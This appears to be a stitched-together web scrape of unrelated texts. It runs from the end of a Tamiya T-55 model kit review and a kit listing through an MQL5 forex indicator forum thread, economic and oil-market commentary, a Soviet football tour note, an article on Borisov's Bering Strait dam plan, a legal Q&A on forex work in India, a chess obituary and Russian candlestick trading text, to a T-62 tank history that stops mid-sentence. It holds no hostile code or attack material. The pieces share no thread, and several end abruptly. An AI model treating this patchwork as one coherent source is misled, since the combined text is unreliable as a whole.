There are many other small fittings added around the hull including the position keeping lights front and rear (with wiring), driver’s periscope covers, front towing attachment points and all separate engine deck doors with the mesh supplied added to the large rear engine bay covers.


Some of the fender supports are included in the hull moulding while the two rear supports on each side and the two forward left hand side supports are separate parts.


The rear hull has the two large fuel tanks which include the securing straps mounded on, the snorkel container or log beam, this is in plastic but has an excellent wood surface texture effect included.


The only feature that cries out for addition on the upper hull is the intricate fuel lines connecting the separate fender fuel tanks which will have to be added from thin wire.


The turret as mentioned has an excellent cast effect included as well as superb weld seams around the top hatch plate.


The main gun is in the usual two parts requiring the join seam to be removed but on test fitting the fit was spot on and shouldn’t required much to eliminate the seam.


The large mantlet with dust cover has superb fabric texture on the dust cover and also includes the circular plate with multiple bolt heads between the mantlet and gun tube. The trade off of giving you this superb dust cover is the barrel doesn’t move after assembly, but I can live with that.


The gun is correctly depicted offset slightly to the right and not on the centre line as depicted in other kits and has a separate muzzle end piece to give a perfectly round opening to the gun tube.


All the tiny tie down cleats around the turret rear are separate parts as are the outer fittings over the co-ax MG slots in the front turret and the turret grab railings.


Now it starts getting interesting with multiple choices provided for the Commander’s and Loader’s hatches. There is the early type with bolted surrounds and simple hatches as well as the later larger hatch surrounds included when the radiation cladding was added, there is also additional parts to add to the hatch tops for the cladding also. The instructions suggests you choose early on which version you will be modelling as different locating holes need to be opened up from inside the turret for the type of hatch arrangement you be using.


The DShK-M machine gun for the loader’s hatch is simply stunning and features a multipart mounting; this is probably the best DShK I have seen in a stock kit to date, the cooling ribbing along the barrel is something to behold.


There are many other alternate parts for the turret such as side storage boxes and ammo boxes, again dependant on the version you are building. The large infrared spot light is also included along with it’s linkage to the barrel fitting to allow movement with the barrel, although the kit barrel doesn’t move.


The tracks are provided in the now standard Tamiya fair of well detailed ‘vinyl’ full length tracks. The detail on these is good for this type of track and should look okay on the finished kit, but it does cry out for individual link tracks to get that nice droop in the tracks.


A single Commander figure is included wearing standard Russian tankers uniform with nice uniform and facial details and should come up well with careful painting.


Markings are provided for five T-55s, all in standard Russian green finish (only Tamiya paint numbers are given), two Russian Army, two Polish Army and one Czech Army T-55 with white turret numbers. The decals have the usual Tamiya thickish carrier film and will give your decal setting solution a workout conforming to the cast effect on the turret.


With a vehicle like the T-55 which was in production for so long and had many variants it would be hard for anyone to depict them all in one kit. Tamiya have depicted the A model and from what I can see have done an excellent job on that variant. With the changes in the turret hatches being the most noticeable differences they have been generous with the alternate choices here to cover most bases.


The quality of the mouldings and details included in the kit make this without doubt the best T-55 produced to date, we can only hope other variants follow as the possibilities are endless.


As with any kit there will be details that can be added (the fuel lines being one) but this should keep the T-55 addicts happy for a while.


It also opens the way for aftermarket producers to bring out any number of update sets for different versions as well as markings possibilities for the many countries that have used the T-55.


Review Copyright © 2002 by Terry Ashley and PMMS Page Created 24 December, 2002 Last updated 22 July, 2003


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T-55AM Soviet tank T-55 mod (PE, decals) 1/35 SKIF 222


Package include: Photo Etched set Decals Gum tracks Plastic parts Assembly guide


Manufacturer: SKIF (Ukraine) Scale: 1/35 Material: Plastic Unpainted, Unassembled, Kit do not contain paints and glue. Condition: New in Box


The T-54 and T-55 tanks were a series of main battle tanks designed in the Soviet Union. The first T-54 prototype appeared in March 1945, just before the end of the Second World War. The T-54 entered full production in 1947 and became the main tank of the Soviet Red Army's armored units, as well as of the armies of the Warsaw Pact countries, and others. T-54s and T-55s have been involved in many of the world's armed conflicts during the late twentieth century.


The T-54/55 series eventually became the most-produced tank in history. Estimated production numbers for the series range from 86,000 to 100,000.


The T-54/55 series was eventually replaced by the T-64, T-72, and T-80 in the Soviet Army, but tanks of the series is still in use by up to 50 other armies worldwide, some having received sophisticated retrofitting.


T-54 and T-55 tanks never directly faced their NATO Cold War adversaries in Europe, however, their first appearance in the west in 1960 spurred the United States to develop the M60


THANKS for your your time and skilled input.


The indicator is 100% correct in generating the GREEN Color signal.


However the LAWNGREEN, RED, AND CRIMSON Colors are giving wrong signals.


This explanations should help ;


1) For a clearer visual understanding Please place a colored EMA CROSS HISTO (Like MACD 5 - 20 - 1 ) AND THEN THE SAR HISTO I POSTED BELOW IT.


2) anytime BOTH SAR AND EMA CROSS ARE GREEN, THE indicator would show LAWNGREEN.


3) This LAWNGREEN COLOR would continue to show on the subsequent bars UNTIL BOTH the SAR AND EMA CROSS reverse in opposite direction showing RED.


4) anytime BOTH SAR AND EMA CROSS ARE RED, the indicator would show RED.


5)This RED COLOR would continue to show on the subsequent bars UNTIL BOTH the SAR AND EMA CROSS reverse in opposite direction showing LAWNGREEN.


6) On some rare occasions, the SAR AND EMAs would BOTH change from RED TO LAWNGREEN at the SAMETIME ( Same Bar ). Whenever this occurs that PARTICULAR BAR where they both reversed ( to green ) would instead of lawngreen show a GREEN Color. NOTE; You already got this point 6 right.


7) FOR the CRIMSON COLOR, the rule is exact opposite of point 6.


ONCE AGAIN THANK YOU VERY MUCH FOR YOUR INVALUABLE SERVICES.


Winner246, try this one, the bottom one is the one i'm postin the middle is a 5 by 20 ema cross histo and the top one is the original Psar you posted.


Re: Parabolic SAR indicator


Please can you kindly create a SAR RISING AND FALLING based on the same rules as macd rising and falling which you created.


1) The PIPS DIFFRERENCE BETWEEN PRICE AND THE CURRENT SAR WILL DETERMINE HISTO HEIGHT OF THE NEW INDICATOR.


The rules for the GREEN. RED AND GOLD COLORS WILL BE EXACTLY THE SAME AS THAT OF MACD RISING AND FALLING.


THANK YOU FOR YOUR IMMENSE SUPPORT.


Comentario


I would want to reduce my requests in the preceding post to just this single request.


Please can you kindly help create an HISTOGRAM indicator ( like Macd Histo ) that shows THE PIPS DIFFERENCE BETWEEN PRICE AND PARABOLIC SAR PRICE ON EACH BAR ( just as the Macd histo reflects the pips difference between two EMAs )


MANY THANKS FOR EVERYTHING.


Comentario


Copyright 2005-2015, MQL5 Ltd.


Measures changes in the selling prices producers charge for goods and services, and well as tracks how prices feed through the production process. Because producers tend to pass on higher costs to consumers as higher retail prices, the PPI is valuable as an early indicator of inflation. Simply put, inflation reflects a decline in the purchasing power of the Dollar, where each dollar buys fewer goods and services. The report also gives insight into how higher prices from raw materials flow toward the final product.


A rise in PPI signals an increase in inflationary pressures. Given the economic instability associated with rising price levels, the Fed often will raise interest rates to check inflation. A low or falling PPI is indicative of declining prices, and may suggest an economic slowdown.


The headline figure is expressed in percentage change of producer price.


Notes: The PPI records prices at various stages of production: raw goods, intermediate goods and finished goods. Though intermediate and crude goods prices do provide insight for future inflationary pressure, it is the price of finished goods that generates most interest for market participants. The finished goods data is able to gauge price pressure before the goods reach the retail market.


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1955 USSR national team tour of India


1955 India national team tour of the USSR


About this document


Sources included: "The Times of India" (Bombay), "The Statesman" (Calcutta), "The Hindusthan Standard" (Calcutta), "The Indian Express" (Madras edition), "The Indian Express" (Delhi edition), "The Leader" (Allahabad), "The Tribune" (Ambala), "The Hindustan Times" (New Delhi), "The Overseas Hindustan Times" (New Delhi), "The Statesman" (New Delhi), "The Indian Nation" (Patna), "Znamya Kommunizma" (Odessa), "Volzhskaya Kommuna" (Kuybyshev, now Samara), Armenian newspapers of 1955, several websites about Soviet football history.


Thanks to Aleksandr Shtefa, Vladimir Sharenkov, Yuriy Atroshchenko, and Gagik Khanamiryan.


Author: Neil Morrison (nfm24(at)cantab. net) Last updated: 12 Feb 2015


(C) Copyright Neil Morrison and RSSSF 2014/15 You are free to copy this document in whole or part provided that proper acknowledgement is given to the author. Todos los derechos reservados.


Revelations from the Russian Archives


COLD WAR: SOVIET PERSPECTIVES


After World War II, Joseph Stalin saw the world as divided into two camps: imperialist and capitalist regimes on the one hand, and the Communist and progressive world on the other. In 1947, President Harry Truman also spoke of two diametrically opposed systems: one free, and the other bent on subjugating other nations.


After Stalin's death, Nikita Khrushchev stated in 1956 that imperialism and capitalism could coexist without war because the Communist system had become stronger. The Geneva Summit of 1955 among Britain, France, the Soviet Union, and the United States, and the Camp David Summit of 1959 between Eisenhower and Khrushchev raised hopes of a more cooperative spirit between East and West. In 1963 the United States and the Soviet Union signed some confidence-building agreements, and in 1967 President Lyndon Johnson met with Soviet Prime Minister Aleksei Kosygin in Glassboro, New Jersey. Interspersed with such moves toward cooperation, however, were hostile acts that threatened broader conflict, such as the Cuban missile crisis of October 1962 and the Soviet-led invasion of Czechoslovakia of 1968.


The long rule of Leonid Brezhnev (1964-1982) is now referred to in Russia as the "period of stagnation." But the Soviet stance toward the United States became less overtly hostile in the early 1970s. Negotiations between the United States and the Soviet Union resulted in summit meetings and the signing of strategic arms limitation agreements. Brezhnev proclaimed in 1973 that peaceful coexistence was the normal, permanent, and irreversible state of relations between imperialist and Communist countries, although he warned that conflict might continue in the Third World. In the late 1970s, growing internal repression and the Soviet invasion of Afghanistan led to a renewal of Cold War hostility.


Soviet views of the United States changed once again after Mikhail Gorbachev came to power in early 1985. Arms control negotiations were renewed, and President Reagan undertook a new series of summit meetings with Gorbachev that led to arms reductions and facilitated a growing sympathy even among Communist leaders for more cooperation and the rejection of a class-based, conflict-oriented view of the world.


With President Yeltsin's recognition of independence for the other republics of the former USSR and his launching of a full - scale economic reform program designed to create a market economy, Russia was pledged at last to overcoming both the imperial and the ideological legacies of the Soviet Union.


Exposing imperialist policies [truncated image]


Translation of document


The Soviet Scientist Who Dreamed of Melting the Arctic with a 55 Mile Dam


Spring ice clogs up the Bering Strait, via George Riggs, NASA GSFC


As much as we worry about climate change today, a warm, melted Arctic was actually a dream of geoengineers since at least the 19th century. But at the height of the Cold War, a Soviet scientist named Petr Mikhailovich Borisov proposed what may be the most ambitious Arctic melting project ever conceived: a dam spanning the 55 mile Bering Strait that would be big enough to redirect the currents of the world's oceans and force warming water to melt the Arctic Ocean forever.


As the warm Gulf Stream turns into the North Atlantic Current on its path towards the Arctic Circle, it gradually loses heat as it's bombarded by cold flows heading south from the ice. Eventually, it cools down completely, and powered by cold Pacific streams heading through the Bering Strait, turns back around, as shown in the offset figure below.


Borisov thus posited that if the cold influx of waters from the Pacific was reversed, the cold layer of low-salinity Arctic surface water could be replaced by the Gulf Stream's warm, salty waters that would be harder to freeze. It would also be self-sustaining, for Borisov argued that as the reflective ice melted, Arctic waters would absorb more heat and never freeze again.


Click para agrandar. Image: Jack Cook, Woods Hole Oceanographic Institute


It's important to note that Borisov wasn't a mad scientist or anything of that sort, and his work was of interest to the Soviet government, which was already funding a wide range of research looking to warm the Arctic. It was all aimed at solving a simple problem: Russia is too damn cold.


You might laugh, but while Soviet Russia was blessed with the largest land mass of any nation on Earth, much of it resource rich, putting that land to use was stunningly difficult. Currently about 63 percent of Russia is buried under permafrost, and as the CIA World Factbook notes. even today it is a significant barrier to development of Siberia.


Russia was already spending an enormous amount of money combating the ice. Exploiting the vast petroleum reserves of the Arctic and Siberia was crucial to the growth of the Soviet economy, but every well pitted far-flung men against frozen earth and wind.


The fight was against the sea itself as well. In the late 50s, around the time that Borisov proposed his dam, the USSR launched NS Lenin. the first nuclear-powered icebreaker, and the first nuclear-powered civilian ship. That on its own was a leap forward, and led to the creation of the largest nuclear icebreaker fleet ever created.


So in the middle of the Cold War, the Soviet Union found itself trying to pit its land and resource advantage against the continental United States' more temperate climate. With space and the atom having been harnessed, why not the world's oceans? Why not the weather itself?


Regardless of all the negative aspects of the Cold War, it fueled—and was fueled by—an enormous amount of scientific innovation. With the whole world in play, both the US and Soviet Union were looking for developments on a global scale, which means scientists with outsized ideas were able to find equally outsized budgets. In the Soviet Union, that type of environment sent the first satellite, animal, and man into orbit; it also funded the research that led to the Tsar Bomba. the most powerful nuclear bomb ever detonated. (The US, meanwhile, was using nuclear bombs as enormous shovels .)


Click to enlarge: A map of Soviet permafrost based on CIA data from 1984. Permafrost has since been melting, but it serves as evidence of that vast ice problem the Soviet Union was faced with. Via Zonu. com


Even within a research environment that fostered huge ideas, Borisov stands out. Russian journalist Boris Lyubimov spoke with Borisov about his dam for a October 1959 article for Literaturnaya Gazeta . (The story was later translated by the US Joint Public Research Service.) According to the piece, Borisov imagined that the dam could be built with pre-fabricated concrete pontoons that would sink about 200 feet deep, which would feature large propellers built below the water line.


For Borisov, the key piece of the puzzle was blocking the Pacific from flowing into the Arctic Circle, which he argued would allow the Gulf Stream to flood the ice unimpeded. Powered by a 2,000 megawatt nuclear station (or, barring that, huge natural gas or coal plants) built on the frozen coast of Siberia, the dam's propellers would physically turn the world's oceans around.


Considering the huge theoretical benefits that a massive thawing would bring to Russia—ignoring the worldwide consequences, macro and micro, of totally reversing the ocean's flow, of course—and the type of big science environment Borisov's ideas were born it, it shouldn't come as a surprise that the USSR felt the idea worthy of research.


In fact, it wasn't just the Soviets that found Borisov's proposal intriguing. As far as Soviet-era research goes, Borisov's work is surprisingly well-discussed in English-speaking circles. That's partly because the Soviet Union made sure to hype the audacity of the project, like when a man (presumably an engineer) named Arkady Borisovich Markin chatted it up on Moscow radio. in order to make headlines in the US.


But it also made waves in the West because Borisov explicitly wanted American cooperation. He knew that such massive project would require more than simple American permission—not a small thing when you're considering reversing the world's oceans—it'd need American resources as well.


Described by Lyubimov as a "tall, broad-shouldered man with small brown eyes," Borisov had started dreaming of a warm Arctic soon after graduating from the Moscow Academy of Mining, when he began working in oil fields on the north part of Sakhalin. a large, remote island off of Siberia's southeast coast. Later he worked on the construction of the Saratov-Moscow gas pipeline. where he reportedly won the Stalin Prize. All throughout a career in fossil fuels spent traversing the Soviet Union's harshest environments, Borisov found people constantly battling the ice.


In the Literaturnaya Gazeta article, Lyubimov tells Borisov he estimates the dam would cost hundreds of billions of rubles. (At the time, the exchange rate was pegged at four Soviet rubles to one US dollar.) Borisov balked at the idea that it would be too expensive to build. From the translation:


"Well, what are you saying?" said Petr Mikhailovich in surprise. "Why hundreds! In my estimate, the dam will cost about seventy billion rubles. It's a lot of money, of course. But if we think that 31 billion rubles was spent on cultivating the virgin lands, and the investment has already boon paid back with interest, then is the sum of 70 billion such an immense one if it will make warmer hundreds of millions of hectares of land? Upon my word, the devil is not so black as he is painted."


In current US dollars, that amounts to nearly $138 billion. But Borisov dreamed of enlisting the US, Canada, Japan, and Northern Europe in the plan, as all would theoretically benefit from a warmer climate. Surprisingly, the US was intrigued by the idea. In fact, in a response to a series of questions sent in 1960 by the Bulletin of Atomic Scientists to presidential candidates Richard Nixon and John F. Kennedy, Senator Kennedy noted, as part of a larger point about the value of innovation in fostering cooperation, that the Siberia-Alaska dam was "certainly worth exploring."


From the June 1956 issue of Popular Mechanics


Indeed, in that 1959 interview, Borisov imagined his colossal project as a piece of diplomacy. "The main problem which is on the minds of both N. S. Khrushchev and D. Eisenhower is that of warming up the political climate," he told Lyubimov. "When this warming up occurs, and the ice of the cold war melts, broad vistas for teamwork in warming up the eternal ice of the Arctic Ocean will open too. How close together the common struggle for such a great humanitarian cause as discovering for mankind new powerful sources of warmth and life will bring our peoples."


An article about the proposed dam in the June 1956 issue of Popular Mechanics predicted the final outcome when it concluded that "there is no sincere interest on the part of any of the nations involved, and that the Soviet scientists have publicized the possibility of this dam on various occasions merely for propaganda purposes." But ultimately, that assessment isn't fair.


Borisov held onto the idea for more than a decade, discussing the practicality and feasibility of the project in various papers. In 1973, he published a book, called Can Man Change the Climate? , that opens with a quote from Lenin about becoming "masters of nature." In it, he responded to the wealth of well-founded criticism with defiance.


"In essence, all these arguments boil down to this: It is impossible to create a Polar Gulf Stream, but even if it were possible, it would not be expedient," he wrote. "We need quantitative data to refute all these arguments."


"When this warming up occurs, and the ice of the cold war melts, broad vistas for teamwork in warming up the eternal ice of the Arctic Ocean will open too." - P. M. Borisov


According to Philip John Pocock, who discussed Borisov's book in an anthology of massive geoengineering projects, Borisov then went on to provide the data supporting his argument. We all know how the story ends: the dam was never built, and as period newspapers noted. it likely would have had disastrous effects elsewhere in the world.


But as Pocock points out, the project could have been started. Had Russia held onto Alaska, and had Borisov been closer to Stalin's inner circle, as other scientists were, it's quite possible that Borisov could have been given the okay to move forward with his plan to melt the Arctic. (Curiously, geoengineers have continued to find a friendly home in Russia, including in the inner circle of Vladimir Putin .) It's all hypothetical, of course, but it'd doubtful the United States would have wasted political capital on a Russian dam that the US already found intriguing, and which many scientists didn't think was feasible in the first place.


At this point in history, there's exactly zero chance of nations rallying behind an obscenely expensive, world-changing infrastructure project like this one. We'll never know if Borisov's design would have worked. We may still see the results of a thawed Arctic, however. Russia's permafrost may shrink by as much as 30 percent by mid-century. which tracks with all the other estimates that the Arctic will be ice-free at least part of the year by 2050. So while Borisov's plan to melt the Arctic with a giant dam may have been impossible, humans have still found a way.


Forex News


Forex


Oil Market: Little room for comfort “ HSBC


FXStreet (Delhi) “ Research Team at HSBC, suggests that following the 60% drop in crude prices since mid-2014, the market seems to be fixated on the risk of further falls.


œThis is understandable given a backdrop of firm supply pressure from OPEC, large inventory overhangs and the potential for increased Iranian exports next year. However, we believe investors should be increasingly concerned about the risks of a sharp move higher in crude prices. Not only should the extent of oversupply fall dramatically in 2016, but low spare capacity within OPEC means that buffers against unexpected supply disruptions are very limited. Moreover, if OPEC abandons its policy and reduces output, prices could well rally considerably. As far as tail risks go, they seem skewed firmly to the upside, in our view.


œProducers outside OPEC have responded much more quickly to lower oil prices than the market was expecting. The most striking evidence of this is the relentless series of downgrades to non-OPEC supply growth estimates. Looking at the monthly evolution of the US Energy Information Administration™s (EIA) forecasts, 2016 non-OPEC supply growth was seen at 0.8mbd in February. Just nine months later, the forecast points to a y-o-y decline of 0.3mbd. The International Energy Agency (IEA) sees an even larger fall of 0.6mbd, which would be the largest annual decline in non-OPEC output since 1992 (when the collapse of the Soviet Union resulted in a 1mbd contraction). According to the IEA, non-OPEC volumes grew 2.5mbd as recently as 2014.


œThe biggest supply response thus far has come from US tight oil production, which has a much shorter production cycle than conventional oil extraction. The US onshore rig count has fallen sharply by 66% since the peak in Q4 2014, and the full effects of this have only recently started to translate into falling production. On our estimates, liquids output from the main US onshore plays should fall around 650kbd y/y in 2016. However, it™s important to remember that US tight oil only accounts for around 5mbd out of total non-OPEC supply of nearly 60mbd. Large project deferrals and cancellations will only impact supply some years down the line, but decline rates from existing production are likely to rise in the near term as the industry cuts back on maintenance capex such as infill drilling.


to other news


Major stock indexes in the US notched their fifth straight week of gains.


The S&P was up by 0.43% at 2049.31 and is now up on the year as well as for the week by 1.34%. The Nasda


Analysts at TD Securities explained that the strength of the short-covering in WTI crude oil, particularly with another 10% of short interest over the last week, has been similar in magnitude to the early-20


James Bullard, president of the Federal Reserve Bank of St. Louis and a voting member of the FOMC said that it would be prudent to edge interest rate higher.


Speaking in Germany, he affirm


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The Latvian lats (plural: lati) is the currency used in Latvia. The lats was first introduced in 1922, replaced by the Soviet ruble after Latvia became part of the USSR and was reintroduced in 1993. The lats is one of the highest-valued currencies in the world. The government planned to replace the lats with the euro, but the plans were postponed. Latvia’s economy was severely hit by the crisis in 2008, but since recovered is one of the fastest-growing economies of the European Union. It was replaced by euro on January 1, 2014.


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Legal Question in Business Law in India


online Forex trading is illegal in India according to FEMA guidelines, but I want to do job in a foreign company located outside india, which deals in forex trading business, they have indian individuals clients and giving advertisement on Indian websites about forex trading, so my question is that, if I provide customer support to my indian individual clients on phone in India, then will I be liable to pay penalty for violation of FEMA guidelines? or foreign company will be liable to pay penalty this. will you please help me because I am non working person do not have money to take local legal advice. I am very very confused. is there any risk in this type of job?


Asked on 11/27/12, 1:40 am


2 Answer from Attorneys


Sanjay Kalra Sanjay Kalra & Associates


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Are you going to be an Agent of the Principal Company. If yes then whatever you on behalf of that company would put you in problem. Where are you located. Por favor aclare.


Please check Sanjay Kalra and Associates on the internet to know more about our law firm and the legal services we are rendering for our clients from all over the World.


Elena Donaldson, Chess Champion in U. S.S. R. and Then U. S. Dies at 55


Elena Akhmilovskaya Donaldson, who was a chess champion in both the Soviet Union and her adopted country, the United States, and once ranked among the world’s top female players, died on Sunday in Kirkland, Wash. She was 55.


The cause was brain cancer, said her husband, Georgi Orlov.


Ms. Donaldson was known as Elena Akhmilovskaya when, in 1978, she helped the Soviet Union win the chess Olympiad, a biennial international team tournament, finishing with a perfect record, 10 wins in 10 games. She played on the triumphant Soviet team again in 1986, and the same year, as the second-ranked woman in the world, she lost a world championship match with another Soviet player, Maya Chiburdanidze.


She made her biggest headlines during the 1988 Olympiad in Salonika, Greece, when she eloped with the captain of the American team. John Donaldson. They settled in Seattle, and Ms. Donaldson, who reached the level of women’s grandmaster, went on to win three United States women’s championships, in 1990, 1993 (a shared title with Irina Levitina) and 1994.


Elena Akhmilovskaya Donaldson on a TV show in 1988. Credit Associated Press


Elena Bronislavovna Akhmilovskaya was born in Leningrad on March 11, 1957. Her father was an engineer, and the family moved often; young Elena spent much of her childhood in Krasnoyarsk, a river city in east central Russia, where her mother, Mr. Orlov said, was a regional chess champion before she died when Elena was a teenager.


She studied law and physics at the local state university (now part of Siberian Federal University), but she left school before graduation to pursue her emerging chess career.


Ms. Donaldson’s first marriage, in the Soviet Union, ended in divorce, as did her marriage to Mr. Donaldson.


Mr. Orlov, an international master (one designation below grandmaster) who had helped train Ms. Donaldson for top-flight matches in the Soviet Union in the 1980s, moved to the United States in the early 1990s; they married in 1995 and lived in Redmond, Wash. In recent years, the couple operated a chess school in Redmond and in nearby Seattle.


In addition to her husband, Ms. Donaldson is survived by a sister, Tatiana Resninskaya; a daughter, Donna Van Zandt; and a son, Nicholas Orlov.


A version of this article appears in print on November 21, 2012, on page B18 of the New York edition with the headline: Elena Donaldson, 55, Champion Of Chess in U. S.S. R. and Then U. S. Order Reprints | Today's Paper | Suscribir


Как Правильно Торговать На Форекс. Торговая Система Ussr-Sts. Ошибки Трейдеров."


"Технический анализ японских свечей рассмотрен под иным углом зрения, в связи с волновым анализом, графическим анализом и индикаторным анализом рынка форекс.


Японские свечи - это наиболее "древний" вид технического анализа. Он возник в Японии в середине XVII века и считается, что его создал самый известный и самый богатый торговец рисом Мунэхиса Хомма. который ежедневно отмечал цены на рис в момент открытия торгов, в момент закрытия, самую высокую и самую низкую цену за день.


В 1755 г. Мунехиса Хомма издал книгу, которую можно назвать первым в мире учебник по техническому анализу. Называлась она «Сан-ен Кинсен Хороку», т. е. «Фонтан из золота — рассказ трех обезьян о деньгах». И поныне, основной анализ по японским свечам проводится на дневных графиках и, отчасти, на более старших таймфреймах. За три века этот метод анализа товарных рынков приобрел законченный вид и некий налёт мистики. В конце 20 века американский трейдер Стив Нисон перевёл основную сумму знаний в этой области на английский язык (следует отметить, что Чарльз Доу использовал нечто подобное уже в начале 20 века), и с тех пор японские свечи стали широко применятся по всему миру. К хорошему легко привыкаешь.


Что касается мистики и загадочной восточной магии, то поэтические названия разворотных моделей и моделей продолжения тренда способствовали возникновению некоторой таинственности и слухов об их необыкновенных возможностях. Этому способствовало и то, что первый учебник Хомма написан был в стихах. Всё это, образность и чрезвычайная простота применения, способствовали быстрому распространению методов свечного анализа в Америке и Европе и далее по всему миру. Сейчас трудно представить технический анализ без японских свечей и их моделей: завеса из тёмных облаков, просвёт в облаках, брошенный младенец у дна, три чёрных вороны. Басё отдыхает.


Я не ставлю перед собой задачу популяризации японских свечей, в этом нет необходимости: слава бежит впереди них. Простое же перечисление и описание основных моделей всегда можно найти в интернете.


Чего не сделал знаменитый Хомма, да и в принципе не мог сделать, - так это синтез разных разделов технического анализа. Постараюсь восполнить этот пробел в шестой главе "Технический анализ японских свечей". Передо мной стоит именно такая задача: показать сочетание свечного анализа с другими видами технического анализа - графическим, индикаторным и волновым.


Именно такое сочетание, с моей точки зрения, способно снять многие пробелы в понимании того, как происходит смена уровней поддержки и сопротивления, которые отражают реальную движущую силу всех рынков: спрос и предложение. Можно совершенствоваться в каждом из видов технического анализа отдельно, но реальные открытия, приводящие к новой парадигме мышления, всегда происходят на стыке разных мировоззрений, разных наук, разных религий и т. п. Именно этим я и займусь. При этом, априори предполагается, что Вы знакомы с основами свечного анализа.


Японские свечи являются одним из самых интересных и поэтических видов прогнозирования на Forex. В одно время, это особый вид графика, и метод анализа. Японские свечи дают потрясающий результат в прогнозировании. Придумал систему Мунехиса Хомма, младший сын в семье потомственных торговцев рисом. Европейцы с данной системой познакомились в 80-е годы, в это же время с системой познакомились американцы. Хомма стал финансовым советником императора благодаря тому, что он провел сто прибыльных сделок


Как зарабатывают на бирже серьезные фирмы, как изучают рынок и создают модели ценовых движений, отчего биржевые роботы лучше людей, какие темы трейдинга сейчас дают лучший результат.


The T-62 is a Soviet main battle tank. a further development of the T-55. Its 115 mm gun was the first smoothbore tank gun in use.


The T-62 was produced between 1961 and 1975. It became a standard tank in the Soviet arsenal, partly replacing the T-55, although that tank continued to be manufactured in the Soviet Union and elsewhere after T-62 production was halted. The T-62 was later replaced in front-line service by the T-72.


Contenido


Development history Edit


The initial requirements Edit


By the late 1950s, Soviet commanders realized that the T-55's 100 mm gun was incapable of penetrating the frontal armor of newer Western tanks like the Centurion and M48 Patton with standard armor-piercing shells. While 100 mm HEAT ammo could have accomplished the task, they were considerably more expensive and required more training of tank crews for proper use. It was decided to up-gun the T-55 with a 115 mm smoothbore cannon, capable of firing APFSDS rounds. Experimental trials showed that the T-55 was inherently unsuited to mount the larger new cannon, and work therefore began on a new tank. The bigger gun required a bigger turret and turret ring to absorb the higher recoil. This in turn necessitated a larger hull, as the T-55 hull was simply too small to accept the new turret. The T-62 thus took shape, marking an evolutionary improvement upon the T-55. (Perrett 1987:38 )


Ob'yekt 140 Edit


At the time when Morozov was working on his Ob'yekt 430 tank, a young engineer, Leonid N. Kartsev, was the head of the OKB-520 design bureau of Uralvagonzavod factory (UVZ) in Nizhny Tagil. He was responsible for the T-54A (Ob'yekt 137G) and T-54B (Ob'yekt 137G2) modernizations of T-54 main battle tank. After work on the T-54M (Ob'yekt 139) modernization was abandoned he and his design team started working on a new tank, called Ob'yekt 140. The new tank had a suspension with six light roadwheels made of aluminium. The turret was cast and armed with a 100 mm D-54 TS tank gun with the Molniya two-plane stabilization system. The tank carried 50 rounds and was powered by a V-36 diesel engine developed by engineer Artiemejev. The engine was placed on the bottom of the hull, a solution which reduced the height of the engine compartment. The Ob'yekt 140 weighed 37.6 tonnes.


Morozov's Ob'yekt 430 tank had a hull of welded rolled steel plates and a turret of cast and forged steel. The turret had three-layer armour with an overall thickness of 185 mm to 240 mm. It was armed with the same D-54TS tank gun as Kartsev's Ob'yekt 140. In 1957 Uralvagonzavod built two Ob'yekt 140 prototypes which were put on trials soon after. The trials showed that because of the complicated construction of many of the tank's systems, Kartsev's tank would be expensive in serial production and hard to maintain.


Forced to abandon the Ob'yekt 140 project, he started working on yet another T-54 main battle tank modernization called the T-55 (Ob'yekt 155) in which he included one of the key features from his Ob'yekt 140 tank: the upper fuel tanks were fitted with mounts for tank gun ammunition. This increased the ammunition load carried by the tank to 45 rounds.


T-62A (Ob'yekt 165) Edit


At the end of 1958 Kartsev decided to modernize the Ob'yekt 140 turret. He fitted it with a cartridge-case ejector and mounted it onto a stretched T-55 chassis with a new suspension. He also considered that designs based on already produced vehicles had higher of chance of acceptance. The Ob'yekt 140 turret diameter, bigger than the T-55 turret by 249 mm, made redesigning the central part of the hull necessary. Kartsev changed the arrangement of the torsion beams, which was necessary to keep the tank's weight balanced. The tank received the designation "Ob'yekt 165" and in November 1958 three prototypes were built. In January 1962 the Ob'yekt 165 was accepted for serivce under the name T-62A. In the same year 5 tanks were produced by Factory #183 which were put into experimental service. [6]


Ob'yekt 166 Edit


While working on a new tank, Kartsev was looking for a more powerful tank gun. The 100 mm D-10T and D-54 tank guns had a fierce opponent in the form of the British L7A1 tank gun. The Soviets decided to "recaliber" the already existing 100 mm D-54TS tank gun. The modifications done to the gun included removing the rifling of the gun, reducing the profile of the bullet chamber, removing the muzzle brake, lengthening the gun tube, adding an automatic cartridge-case ejector and adding a bore evacuator in the middle of the gun tube (as opposed to the D-45TS tank gun, which had a bore evacuator in the base of the gun tube). The new 115 mm tank gun was designated U-5TS "Molot" Rapira, which was the first Soviet 115 mm smoothbore tank gun. When it went into serial production it received the designation 2A20. It was put in trials against the D-10TS tank gun, which armed the T-54B as well as some T-55 and T-55A main battle tanks. These trials showed that the undercaliber projectiles shot out of the U-5TS had a 700 km/h higher muzzle velocity. It became apparent that the maximum range of the new tank gun was almost double that of the D-10TS. The only serious drawback of the U-5TS tank gun was the fact that it was not as accurate as the D-10TS, because of the lack of rifling. However, the greater range of the gun and its extremely high muzzle velocity made the poor accuracy less of an issue.


The new 115 mm U-5TS "Molot" (2A20) Rapira smoothbore tank gun was fitted into the Ob'yekt 140 turret at the end of 1960. The new tank received the designation "Ob'yekt 166". In 1960 both Ob'yekt 165 and Ob'yekt 166 prototypes passed their trials. The Uralvagonzavod was preparing to start serial production of the new tank, though the General Armoured Directorate (GBTU) was paying much more attention to Morozov's Ob'yekt 430, which was in development since early 1952. Morozov was supported by general Ustinov, who was in charge of Soviet military industry at the time. He didn't see it as necessary to produce the new tank from Uralvagonzavod but soon the situation changed dramatically with the appearance of a new American main battle tank, the M60. Zaloga claimed in January 1961, an Iranian officer defected with his new US-made M60A1 main battle tank across the border into the Soviet Union but it seems very unlikely as the M60A1 didn't exist in 1961. [7] The new American tanks were armed with a British 105 mm Royal Ordnance L7A1 tank gun, the same as the earlier British Centurion main battle tanks and the later German Leopard 1 main battle tanks. The M60's armour layout and L7A1 tank gun granted superiority to the NATO main battle tanks over Soviet contemporary main battle tanks. [7] This situation caused great concern in the Soviet armoured forces. In 1961 the Soviet intelligence discovered that the British were working on new a main battle tank armed with a 120 mm tank gun. Because of this, General Czuikov demanded an explanation of the "Kartsev's tanks" case. At a conference of GBTU and the Soviet ground forces committee it became apparent that Morozov's Ob'yek 430 tank was only 10% better than the serial T-55. Because of this, Morozov's project was deemed a complete failure. The representatives of Kharkiv Morozov Machine Building Design Bureau said that works on a new tank, the Ob'yekt 432, had already started. Czuikov 